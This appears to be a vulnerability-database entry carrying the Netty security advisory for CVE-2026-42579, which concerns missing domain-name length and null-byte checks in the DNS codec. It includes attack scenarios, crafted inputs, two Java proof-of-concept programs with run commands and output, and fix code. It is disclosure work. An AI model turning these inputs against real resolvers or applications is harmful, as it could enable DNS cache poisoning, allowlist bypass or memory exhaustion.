if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
int totalLength = 0;
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
throw new IllegalArgumentException("DNS name contains empty label: " + name);
}
if (labelLen > 63) {
throw new IllegalArgumentException(
"DNS label length " + labelLen + " exceeds maximum of 63: " + name);
}
for (int i = 0; i < label.length(); i++) {
if (label.charAt(i) == '\0') {
throw new IllegalArgumentException(
"DNS label contains null byte at index " + i);
}
}
totalLength += 1 + labelLen;
if (totalLength > 254) {
throw new IllegalArgumentException(
"DNS name exceeds maximum length of 255: " + name);
}
buf.writeByte(labelLen);
ByteBufUtil.writeAscii(buf, label);
}
buf.writeByte(0);
}
Fix for Decoder (decodeDomainName)
// Add after "} else if (len != 0) {":
if (len > 63) {
throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}
9. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42579"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-626"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:12:47Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n - No null byte validation in domain name labels\n - No per-label length validation (RFC 1035 max: 63 bytes)\n - No total domain name length validation (RFC 1035 max: 255 bytes)\n - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n - No per-label length validation (max 63)\n - No total domain name length validation (max 255)\n - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n break; // NO ERROR - silently truncates!\n }\n // NO check: labelLen \u003e 63\n // NO check: label contains null bytes\n // NO check: total name \u003e 255 bytes\n buf.writeByte(labelLen); // Can write values \u003e 63!\n ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!\n }\n buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len \u003c= 63\n throw new CorruptedFrameException(\"truncated label in a name\");\n }\n name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n // ^^^^^^ StringBuilder grows WITHOUT any length limit\n in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput; // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n .addRecord(DnsSection.QUESTION,\n new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte: [C8] [61 61 61 ... (200 bytes)]\n \u2191\n Label interpretation: 200-byte label starting with \u0027a\u0027\n Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n String.class, ByteBuf.class);\n encode.setAccessible(true);\n\n // Test 1: Null byte in domain name\n ByteBuf buf = Unpooled.buffer(256);\n encode.invoke(null, \"evil\\0.example.com\", buf);\n byte[] bytes = new byte[buf.readableBytes()];\n buf.readBytes(bytes);\n buf.release();\n System.out.print(\"[TEST 1] Null byte - Encoded: \");\n for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n // Test 2: 200-byte label\n ByteBuf buf2 = Unpooled.buffer(512);\n encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n System.out.println(\"VULNERABLE: Overlength label accepted!\");\n buf2.release();\n\n // Test 3: Empty label truncation\n ByteBuf buf3 = Unpooled.buffer(256);\n encode.invoke(null, \"a..b.com\", buf3);\n byte[] bytes3 = new byte[buf3.readableBytes()];\n buf3.readBytes(bytes3);\n buf3.release();\n System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n decode.setAccessible(true);\n\n // Test 1: 100-byte label (RFC limit: 63)\n ByteBuf buf1 = Unpooled.buffer(256);\n buf1.writeByte(100);\n buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(3);\n buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n buf1.writeByte(0);\n String r1 = (String) decode.invoke(null, buf1);\n buf1.release();\n System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n ByteBuf buf2 = Unpooled.buffer(512);\n for (int i = 0; i \u003c 5; i++) {\n buf2.writeByte(60);\n buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n .getBytes(StandardCharsets.US_ASCII));\n }\n buf2.writeByte(0);\n String r2 = (String) decode.invoke(null, buf2);\n buf2.release();\n System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n \" VULNERABLE=\" + (r2.length() \u003e 255));\n }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n Input: \"evil\\0.example.com\"\n Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n Null byte in label data: true\n VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n Input: \"aaaaaa...\" (200-char label)\n Encoded bytes: 206\n VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n Input: \"a..b.com\"\n Encoded bytes: 01 61 00\n Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n Label length: 100 bytes (RFC limit: 63)\n Decoded name length: 105\n VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n 5 labels x 60 bytes = 300+ bytes total\n RFC 1035 limit: 255 bytes\n Decoded name length: 305\n VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n int totalLength = 0;\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n }\n if (labelLen \u003e 63) {\n throw new IllegalArgumentException(\n \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n }\n for (int i = 0; i \u003c label.length(); i++) {\n if (label.charAt(i) == \u0027\\0\u0027) {\n throw new IllegalArgumentException(\n \"DNS label contains null byte at index \" + i);\n }\n }\n totalLength += 1 + labelLen;\n if (totalLength \u003e 254) {\n throw new IllegalArgumentException(\n \"DNS name exceeds maximum length of 255: \" + name);\n }\n buf.writeByte(labelLen);\n ByteBufUtil.writeAscii(buf, label);\n }\n buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
"id": "GHSA-cm33-6792-r9fm",
"modified": "2026-05-14T20:40:58Z",
"published": "2026-05-07T00:12:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
},
{
"type": "WEB",
"url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.